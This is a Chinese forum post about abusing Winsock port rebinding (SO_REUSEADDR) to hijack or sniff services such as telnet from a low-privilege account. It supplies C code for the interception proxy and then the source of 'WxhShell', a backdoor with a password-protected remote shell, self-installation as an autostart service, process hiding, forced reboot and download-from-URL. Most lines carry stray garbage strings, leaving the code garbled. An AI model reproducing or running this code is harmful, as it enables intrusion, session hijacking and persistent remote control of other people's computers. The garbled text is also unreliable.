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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *{dD'9Bg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {0vbC/?]  
d=(Yl r  
  saddr.sin_family = AF_INET; "gN*J)!x  
9`C iE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \kV7NA  
?PE1aB+{:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }'V'Y[  
>\7RIy3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .l( r8qY#  
2x`xyR_Q.R  
  这意味着什么?意味着可以进行如下的攻击: y:|.m@ j1  
_X%6+0M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M,\|V3s  
2gL[\/s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^dUfTG9{  
E8iadf49  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F0BOhlK  
_N,KHxsG8B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <S8I"8{Mb  
~e`;"n@4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ife,h s  
ZU| V+yT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p21=$?k!;  
}GN kB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3\p]esse  
t|#NMRz  
  #include ;ad9{":J#B  
  #include nF. ;LM  
  #include .}$`+h8W T  
  #include    0K$WSGB?6j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Owh*KY:  
  int main() KtfkE\KP  
  { r\l3_t  
  WORD wVersionRequested; UPVO~hB;  
  DWORD ret; #"o6OEy$A#  
  WSADATA wsaData; []=FZ`4  
  BOOL val; [L*[j.r7[  
  SOCKADDR_IN saddr; 2pxWv )0  
  SOCKADDR_IN scaddr; NWQPOq#  
  int err; ,NaV [ "9$  
  SOCKET s; de=5=>P7  
  SOCKET sc; u,Q_WR-wJ  
  int caddsize; 9{9#AI.G  
  HANDLE mt; uGP[l`f|FQ  
  DWORD tid;   K'iS#i7  
  wVersionRequested = MAKEWORD( 2, 2 ); >tmnj/=&   
  err = WSAStartup( wVersionRequested, &wsaData ); taWirq d9  
  if ( err != 0 ) { j#LV7@H.e?  
  printf("error!WSAStartup failed!\n"); t3  uB  
  return -1; w!B,kqTG  
  } |iwM9oO%  
  saddr.sin_family = AF_INET; 8`AcS|k  
   Qb6QXjN Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mc0sdb,c$  
]689Q%D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /@9-!cL  
  saddr.sin_port = htons(23); ~J:$gu~`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DU/9/ I?~  
  { Z%Tq1O  
  printf("error!socket failed!\n"); t5ny"k!  
  return -1; 7~!I2DV_  
  } m{:"1]  
  val = TRUE; xE G+%Uk{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;1{iF2jZ:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D+ah ok  
  { kz7vbY  
  printf("error!setsockopt failed!\n"); dAYI DE  
  return -1; c{'$=lR "  
  } }|Hw0zP.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wq:b j=j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]Wy^VcqX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $?]@_=  
8FO1`%8Oe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ')AByD}Hi]  
  { ,GdxUld  
  ret=GetLastError(); l1-4n*fU  
  printf("error!bind failed!\n"); a-T*'F  
  return -1; iN:G/ss4O  
  } 7%:??*"~  
  listen(s,2); ~I8v5 H  
  while(1) S KB@  
  { v?Z'[l  
  caddsize = sizeof(scaddr); ~u_K& X  
  //接受连接请求 c0!Te'?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !pd7@FwC  
  if(sc!=INVALID_SOCKET) g6rv`I $l  
  { _N>wzkJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4/*]`  
  if(mt==NULL) G*)s%2c>h  
  { [=XZza.z  
  printf("Thread Creat Failed!\n"); (/T +Wpy?  
  break; t!6\7Vm/  
  } y-E1]4?})  
  } |RHO+J  
  CloseHandle(mt); z{_mEE49  
  } xT{TVHdU  
  closesocket(s); DWF >b  
  WSACleanup(); &E.OyqGZV  
  return 0; +<)tql*  
  }   ::4"wU3t  
  DWORD WINAPI ClientThread(LPVOID lpParam) I x( 6  
  { tH-gaDj_  
  SOCKET ss = (SOCKET)lpParam; Zr\2BOcc.l  
  SOCKET sc; '9^E8+=|  
  unsigned char buf[4096]; w0#% AK  
  SOCKADDR_IN saddr; =L:[cIRrT;  
  long num; kFS0i%Sr  
  DWORD val; 5\uNEs$T  
  DWORD ret; \z2vV +f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \U==f &G?J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iYkRo>3!QX  
  saddr.sin_family = AF_INET; R|/Wz/$1A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S|l&fb n  
  saddr.sin_port = htons(23); jIKBgsiF/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [vE$R@TZ0!  
  { ^%-NPo<  
  printf("error!socket failed!\n"); jjxIS  
  return -1; aZ8h[#]7  
  } ;_x2 Ymw  
  val = 100; wUbmzP.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <MRC%!.  
  { j6`6+W=S(  
  ret = GetLastError(); [0K=I64 z  
  return -1; uRP Ff77  
  } ;F|jG}M"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B<A:_'g  
  { >Ja0hS{*  
  ret = GetLastError(); P<8LAc$T  
  return -1; sc<kiL  
  } MY&<)|v\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Xu6jHJ@x  
  { c qv .dC  
  printf("error!socket connect failed!\n"); ! &y  
  closesocket(sc); y*_K=}pk  
  closesocket(ss); tzZ|S<e6=\  
  return -1; yj>) {NcX  
  } *8/VSs  
  while(1) fH&zR#T7U4  
  { W^wd ([  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %@>YNPD`E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sb'lZFSP~s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Ph]*%  
  num = recv(ss,buf,4096,0); D^N[=q99&e  
  if(num>0) "=FIFf  
  send(sc,buf,num,0); g/x_m.  
  else if(num==0) *JwFD^<j  
  break; rYbCOazr  
  num = recv(sc,buf,4096,0); O(odNQy~  
  if(num>0) ]XY0c6 <  
  send(ss,buf,num,0); [ ynuj3G V  
  else if(num==0) Il|GCj*N  
  break; _<XgC\4O|  
  } li@k Lh  
  closesocket(ss); 3zbXAR*  
  closesocket(sc); )TM!ms+K  
  return 0 ; $-Cy  
  } @$Yb#$/  
a"k'm}hVY$  
Rw/Ciw2@?  
========================================================== ;>5,  
HXyFj  
下边附上一个代码,,WXhSHELL J, r Xx:  
!h?=Wv ==]  
========================================================== (,shiK[5f  
whw{dfE  
#include "stdafx.h" * ]>])ms)  
~C0 Pu.{o  
#include <stdio.h> (N7O+3+G  
#include <string.h> l`* ( f9Q  
#include <windows.h> loLKm]yV  
#include <winsock2.h> / xs9.w8-  
#include <winsvc.h> j|k @MfA  
#include <urlmon.h> K0LbZMn,/  
!n:uiwh  
#pragma comment (lib, "Ws2_32.lib") vsc&Ju%k  
#pragma comment (lib, "urlmon.lib") *l:&f_ngV  
\x(.d.l/  
#define MAX_USER   100 // 最大客户端连接数 ;sCU [4  
#define BUF_SOCK   200 // sock buffer 2p+C%"n>  
#define KEY_BUFF   255 // 输入 buffer q1jN]H  
1!d)PK>1$  
#define REBOOT     0   // 重启 ">cqt>2 A  
#define SHUTDOWN   1   // 关机 w1c w1xX*  
M.S s: ttj  
#define DEF_PORT   5000 // 监听端口 r 3|4gG  
-( (Z@T1k  
#define REG_LEN     16   // 注册表键长度 .N!{ U  
#define SVC_LEN     80   // NT服务名长度 m!0N"AjA  
i_NJ -K  
// 从dll定义API V!W1fb7V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); puA |NT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J$rJd9t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |UYED%dC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oE6|Zw  
viJJ e'\2  
// wxhshell配置信息 8ZW?|-i  
struct WSCFG { RT/qcS^Oz  
  int ws_port;         // 监听端口 %EWq2'/5  
  char ws_passstr[REG_LEN]; // 口令 X5 j=C]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3T?f5+@I  
  char ws_regname[REG_LEN]; // 注册表键名 ydB$4ZB3[  
  char ws_svcname[REG_LEN]; // 服务名 &kiF/F 1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s%^o*LQ|9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e62y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _0.pvQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YNk|+A.<d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Co[n--@C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `zY!`G  
VVFV8T4  
}; OT;cfkf7  
8""mp]o9  
// default Wxhshell configuration $o"g73`3  
struct WSCFG wscfg={DEF_PORT, 2kVp_=c  
    "xuhuanlingzhe", /K@$#x_{  
    1, 3p&jLFphL  
    "Wxhshell", `.[ 8$  
    "Wxhshell", SY|Ez!tU:N  
            "WxhShell Service", vtZ?X';wh  
    "Wrsky Windows CmdShell Service", L1{T ?aII  
    "Please Input Your Password: ", @/ k x er  
  1, [IMQIX  
  "http://www.wrsky.com/wxhshell.exe", H]]c9`ayt  
  "Wxhshell.exe" ami09JHy  
    }; J.W Ho c  
PtqGX=u  
// 消息定义模块 }PZ=`w*O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .it2NS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;_N"Fdl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tt{`\1q  
char *msg_ws_ext="\n\rExit."; @hsbq  
char *msg_ws_end="\n\rQuit."; H-2_j  
char *msg_ws_boot="\n\rReboot..."; 9~~UM<66W  
char *msg_ws_poff="\n\rShutdown..."; )88nMH-  
char *msg_ws_down="\n\rSave to "; ul=7>";=|  
:u-.T.zZl  
char *msg_ws_err="\n\rErr!"; ]F+K|X9-  
char *msg_ws_ok="\n\rOK!"; G0/>8_Q>Nr  
Ihqs%;V  
char ExeFile[MAX_PATH]; :XYy7xz<  
int nUser = 0; :,^>d3k  
HANDLE handles[MAX_USER]; jA<T p}$!  
int OsIsNt; {R8=}Qo  
>A=\8`T^  
SERVICE_STATUS       serviceStatus; Nxi)Q$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R04J3D|  
VaJfD1zd1  
// 函数声明 H(&Z:{L  
int Install(void); N5!&~~  
int Uninstall(void); CKd3w8;  
int DownloadFile(char *sURL, SOCKET wsh); W+hV9  
int Boot(int flag); ;RHNRVP  
void HideProc(void); F~R7~ZE  
int GetOsVer(void); RHI&j~  
int Wxhshell(SOCKET wsl); ,ux+Qz5(  
void TalkWithClient(void *cs); _Ex|f5+  
int CmdShell(SOCKET sock); O,irpQ  
int StartFromService(void); IT&i,`cJ~F  
int StartWxhshell(LPSTR lpCmdLine); "-0;#&!  
|[LE9Lq/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N"1 QX6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]EN&SWh  
/[?Jylj  
// 数据结构和表定义 &h(g$-l?[  
SERVICE_TABLE_ENTRY DispatchTable[] = w+=Q6]FxJ  
{ e8q4O|I_  
{wscfg.ws_svcname, NTServiceMain}, (}jL_E  
{NULL, NULL} }NwN2xTB  
}; K(3&27sGN  
3+9 U1:1[.  
// 自我安装 41}/w3Z4  
int Install(void) \O? u*  
{ !FP"M+  
  char svExeFile[MAX_PATH]; xiCN qk3  
  HKEY key; 4swKjN &  
  strcpy(svExeFile,ExeFile); e1uMR-Q  
c/'M#h)"  
// 如果是win9x系统,修改注册表设为自启动 I.a0[E/,  
if(!OsIsNt) { 2GUupnQkD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *B{-uc3o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OL9]*G?F  
  RegCloseKey(key); SUu >6'LN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sg$4G:l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k>>`fE\K  
  RegCloseKey(key); r<|nwFJ  
  return 0;  2d~LNy  
    } lsFfb'>  
  } g ;LVECk  
} _+n;A46  
else { b pp*  
:~33U)?{T  
// 如果是NT以上系统,安装为系统服务 !0Nf9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Snx<]|  
if (schSCManager!=0) 4#h ?Wga  
{ ppFYc\&=  
  SC_HANDLE schService = CreateService Bk@WW#b  
  ( 1J'pB;.]s  
  schSCManager, R,b59,&3/  
  wscfg.ws_svcname, ^ $wJi9D6  
  wscfg.ws_svcdisp, 6RP+4c  
  SERVICE_ALL_ACCESS, 5[<F_"x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ph#efY`a:  
  SERVICE_AUTO_START, *%?d\8d  
  SERVICE_ERROR_NORMAL, _>i|s|aW  
  svExeFile, Y }/c N\  
  NULL, @'HT;Q!\Vd  
  NULL, .+vd6Uc5a  
  NULL, uS-3\$  
  NULL, n}:t<  
  NULL ,ey0:.!;  
  ); "*bk{)dz}  
  if (schService!=0) T`Ro)ORC#  
  { P}l#VJWp  
  CloseServiceHandle(schService); 2Y;!$0_rv  
  CloseServiceHandle(schSCManager); r`[B@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >-zkB)5<,#  
  strcat(svExeFile,wscfg.ws_svcname); jN{Zw*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x;mJvfX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gD1+]am  
  RegCloseKey(key); ~lk@6{`l|1  
  return 0; G h=<0WaF=  
    } RJ*F>2  
  } Z8fJ{uOIL  
  CloseServiceHandle(schSCManager); 8 ?" Ze(  
} _25d%Ne0  
} VY_f =  
Pxk0(oBX  
return 1; C d|W#.6  
} A!4VjE>  
,{+6$h3  
// 自我卸载 j[H0SBKC  
int Uninstall(void) /yp/9r@T0  
{ zv@bI~3~  
  HKEY key; ?$16 A+  
/ISLVp%H  
if(!OsIsNt) { lvx]jd\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eK *W =c#@  
  RegDeleteValue(key,wscfg.ws_regname); x,f>X;04  
  RegCloseKey(key); tO`?{?W7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +0dT^Jkqg  
  RegDeleteValue(key,wscfg.ws_regname); uR^.  
  RegCloseKey(key); mZE8.`  
  return 0;  ;b|  
  } }>,CUz  
} [n!x&f8Xh  
} PK}vh%  
else { $N dH*  
Pr2;Kp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EZ `}*Yrd  
if (schSCManager!=0) ?eVj8 $BQo  
{ D Kq-C%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DUhT>,~]  
  if (schService!=0) ]xYayN!n  
  { 3AvcJ1  
  if(DeleteService(schService)!=0) { %:%MUdl6  
  CloseServiceHandle(schService); @ce3%`c_  
  CloseServiceHandle(schSCManager); 4M7^ [G  
  return 0; El+Ft.7  
  } /0l-mfRr  
  CloseServiceHandle(schService); LC76Qi;|k  
  } 2$3kKY6$e  
  CloseServiceHandle(schSCManager); aTX]+tBoe  
} }I)z7l.  
} > R#9\/s  
| 4 `.#4  
return 1; IX?@~'  
} c<>y!^g  
"!^c  
// 从指定url下载文件 cT I,1U  
int DownloadFile(char *sURL, SOCKET wsh) u,\xok"  
{ [{?;c+[  
  HRESULT hr; 8| Sba<d  
char seps[]= "/"; '/dTqg*W  
char *token; }pt-q[s>  
char *file; }Py<qXH  
char myURL[MAX_PATH]; zQn//7#-G  
char myFILE[MAX_PATH]; ~%/'0}F  
dbg|V oNf  
strcpy(myURL,sURL); C_C$5[~-:  
  token=strtok(myURL,seps); ~ J%m  
  while(token!=NULL) 4sI3(z)9H  
  { "AV1..mu  
    file=token; yTP[,bM  
  token=strtok(NULL,seps); 3JTU^-S<  
  } > e;]mU`,  
??q!jm-m  
GetCurrentDirectory(MAX_PATH,myFILE); ]gEu.Nth`  
strcat(myFILE, "\\"); O-?z' @5cI  
strcat(myFILE, file); k-io$  
  send(wsh,myFILE,strlen(myFILE),0); F W/)uf3I  
send(wsh,"...",3,0); 8Er[M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,b.kw}k  
  if(hr==S_OK) PMD,8]|  
return 0; Q.*'H_Y  
else {7/A  
return 1; ^GrNfB[Qu  
OCvml 2 vP  
} 3 LT+9ad2d  
:jl u  
// 系统电源模块 7=L:m7T  
int Boot(int flag) 2lX[hFa5  
{ >aX:gN  
  HANDLE hToken; sb8z_3   
  TOKEN_PRIVILEGES tkp; {6-;P#Q0_  
h 3eGq:!9  
  if(OsIsNt) { =ZFcxGo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yY-FL`-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ScM} m  
    tkp.PrivilegeCount = 1; WT;.>F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~+7ad$   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *pDXcURw  
if(flag==REBOOT) { Y'3k E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !pG+Ak?  
  return 0; Nck!z8  
} (YaOh^T:|  
else { wjN`EF5$}&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _%AJmt}  
  return 0; 4`?sE*P@`  
} B]&Lh~Im  
  } -='8_B/75  
  else { xc:`}4  
if(flag==REBOOT) { Ah(\%35&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uzat."`d'  
  return 0; 48R]\B<R{  
} :Vu7,o  
else { $8<j5%/ $M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,%"\\#3S  
  return 0; XHwZ+=v  
} I,?Fqg'sq  
} G2U5[\  
<k!mdj)  
return 1; xfbK eS8  
} ,3fuX~g  
+An![1N,  
// win9x进程隐藏模块 1t~S3Q||>]  
void HideProc(void) w>/pQ6=OFR  
{ ;] l{D}  
muqfSF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'l0eo' K  
  if ( hKernel != NULL ) ovo?lE-a0  
  { H|UV+Q0,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iXr`0V   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7cOg(6N  
    FreeLibrary(hKernel); rFt,36#  
  } %WJ\'@O\  
!ch[I#&J-  
return; Y]`lEq%  
} gMoyy  
?,+C!R?  
// 获取操作系统版本 (e bBH  
int GetOsVer(void) g4.'T51  
{ #%} u8\q  
  OSVERSIONINFO winfo; \( Gf+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '<{oYXZW3  
  GetVersionEx(&winfo); %~8](]p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )ZQ9a4%  
  return 1; &t9XK8S  
  else x]mye  
  return 0; 5{!a+  
} +QCU]Fozk  
ba:mO$  
// 客户端句柄模块 O>o}<t7  
int Wxhshell(SOCKET wsl) F] dd>#  
{ Hc_hO  
  SOCKET wsh; C&d"#I  
  struct sockaddr_in client; X T)hPwg.  
  DWORD myID; -Uhl9 =  
mw4'z,1Q  
  while(nUser<MAX_USER) C.9eXa1wkT  
{ 5LhJ8$W  
  int nSize=sizeof(client); 0D]Yz`n3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GqK&'c   
  if(wsh==INVALID_SOCKET) return 1; Z%HEn$t  
}TAGr 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); < 4EB|@E  
if(handles[nUser]==0) 0u&?Zy9&  
  closesocket(wsh); @y~BYiKs  
else 7&;jje[ <g  
  nUser++; ym,Ot1  
  } }T1Xds8w)t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #&`WMLl+8  
V~uA(3\U  
  return 0; ;P0Y6v3  
} =ZJ?xA8  
g]PLW3  
// 关闭 socket g#KToOP  
void CloseIt(SOCKET wsh) /K<GN7vN  
{ pTV@nP  
closesocket(wsh); OS h mrz28  
nUser--; 3 Q%k (,  
ExitThread(0); J ]l@ r  
} w2C!>fJ]1  
rEpKX  
// 客户端请求句柄 c7TWAG_+  
void TalkWithClient(void *cs) 4Z T  
{ .Zo9^0`C  
4kY{X%9  
  SOCKET wsh=(SOCKET)cs; 'N5r2JL[w  
  char pwd[SVC_LEN]; 1r:fxZO\Vd  
  char cmd[KEY_BUFF]; d(B;vL@R2V  
char chr[1]; !L.z4n,n+  
int i,j; H1b%:KRVK  
F]&J%i F[  
  while (nUser < MAX_USER) { 0&L0j$&h  
-_f0AfU/a  
if(wscfg.ws_passstr) { BaHg c 4zI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g:e8i~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y7G|P~td  
  //ZeroMemory(pwd,KEY_BUFF); UmI@":|-  
      i=0; VA r?teY  
  while(i<SVC_LEN) { }lvP|6Y: y  
="TOa"Zk  
  // 设置超时 hB<z]sl  
  fd_set FdRead; 1sJJ"dC.w  
  struct timeval TimeOut; 6Q?6-,?_  
  FD_ZERO(&FdRead); laL4ez  
  FD_SET(wsh,&FdRead); Nn4Kt,KY  
  TimeOut.tv_sec=8; m?CjYqvf  
  TimeOut.tv_usec=0; g$+O<a@n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -a^sX%|Bl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NU\t3JaR  
T-cVM>u\D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yaGVY*M0  
  pwd=chr[0]; {1&,6kJF&9  
  if(chr[0]==0xd || chr[0]==0xa) { "'dC>7*<  
  pwd=0; #^ [N4uV  
  break; r ($t.iS  
  } w8@|b}  
  i++; x,*t/nzR  
    } 2&f=4b`Z  
sOHAW*+  
  // 如果是非法用户,关闭 socket QO^X7A"?X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Z& {$J  
} BTQC1;;N  
_4#psxl[M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o;P;=<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)SgdC/f  
vK>^#b3  
while(1) { @wZ_VE7B  
1pr_d"#4  
  ZeroMemory(cmd,KEY_BUFF); juZ3""  
f6C+2L+Hr  
      // 自动支持客户端 telnet标准   ~ a&j4E  
  j=0; +~AI(h  
  while(j<KEY_BUFF) { }u)G ERWO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7lOiFw  
  cmd[j]=chr[0]; j[eEyCW[)  
  if(chr[0]==0xa || chr[0]==0xd) { ^0~1/ PhOw  
  cmd[j]=0; ?uBC{KQ}Y  
  break; X~4:sJ\P=  
  } iR=aYT~  
  j++; hfc!M2/w  
    } <b40\Z{+  
\kO_"{7n  
  // 下载文件 {vlh ,0~  
  if(strstr(cmd,"http://")) { FaM~ 56Pa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nuA!Jln_  
  if(DownloadFile(cmd,wsh)) m 1;jS|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5!%/j,?  
  else VX%\_@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Wk<F3qN  
  } "MN'%"/  
  else { u^p[zepW\  
X y<KvFy  
    switch(cmd[0]) { Vs{sB*:  
  W=w@SO_?wp  
  // 帮助 9hzU@m  
  case '?': { Cu7iHhY5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =@MKU  
    break; sl 5wX  
  } 0w]?yqnE  
  // 安装 ,#haai(  
  case 'i': { 5gEK$7Vp  
    if(Install()) OR{"9)I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y_#wR/E)u{  
    else lU& IS?^?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hn .fX:}  
    break; h]$zub  
    } UW3F)  
  // 卸载 KS_d5NvYl  
  case 'r': { D bJ(N h  
    if(Uninstall()) 0qd`Pf   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "{lnSLk  
    else 'r CR8>k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x.RZ!V-  
    break; +`FY  
    } @pz2}Hd |  
  // 显示 wxhshell 所在路径 ,s K-gw  
  case 'p': { [u:_J qf-  
    char svExeFile[MAX_PATH]; d8po`J#nb  
    strcpy(svExeFile,"\n\r"); $Izk]o;X~  
      strcat(svExeFile,ExeFile); #'P&L>6 ;  
        send(wsh,svExeFile,strlen(svExeFile),0); 3t'K@W?AJh  
    break; 40XI\yE_?  
    } N 1rrKyL!$  
  // 重启 C&gJP7UF  
  case 'b': { J/Li{xp)Lg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }$ der  
    if(Boot(REBOOT)) Q@R8qc=*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{-pVuhK+  
    else { $fKWB5p|()  
    closesocket(wsh); q$P"o].EK  
    ExitThread(0); B!0[LlF+  
    } ^.Q),{%Xo  
    break; uJizR F  
    } \JchcQ  
  // 关机 _"=~aMXC.)  
